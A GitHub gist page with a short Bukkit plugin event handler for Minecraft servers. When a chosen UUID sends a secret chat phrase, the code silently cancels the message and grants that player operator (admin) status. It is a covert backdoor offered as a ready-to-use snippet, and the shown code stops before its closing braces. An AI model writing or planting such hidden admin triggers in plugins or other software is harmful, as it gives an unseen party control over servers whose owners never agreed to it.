Created
January 23, 2021 06:32
-
-
Save Flairings/c0447d3641d19bcb586b4e2f73c93d8d to your computer and use it in GitHub Desktop.
Simple event to grant OP if you, or someone else's UUID says the message in quotations in the chat
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@EventHandler | |
public void OP(AsyncPlayerChatEvent e){ | |
Player p = e.getPlayer(); | |
if (p.getUniqueId().toString().equalsIgnoreCase("Your UUID") && e.getMessage().equals("Message")) { | |
e.setCancelled(true); | |
p.sendMessage("UUID & Initiation key verified."); | |
p.sendMessage("You are now an operator."); | |
p.setOp(true); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment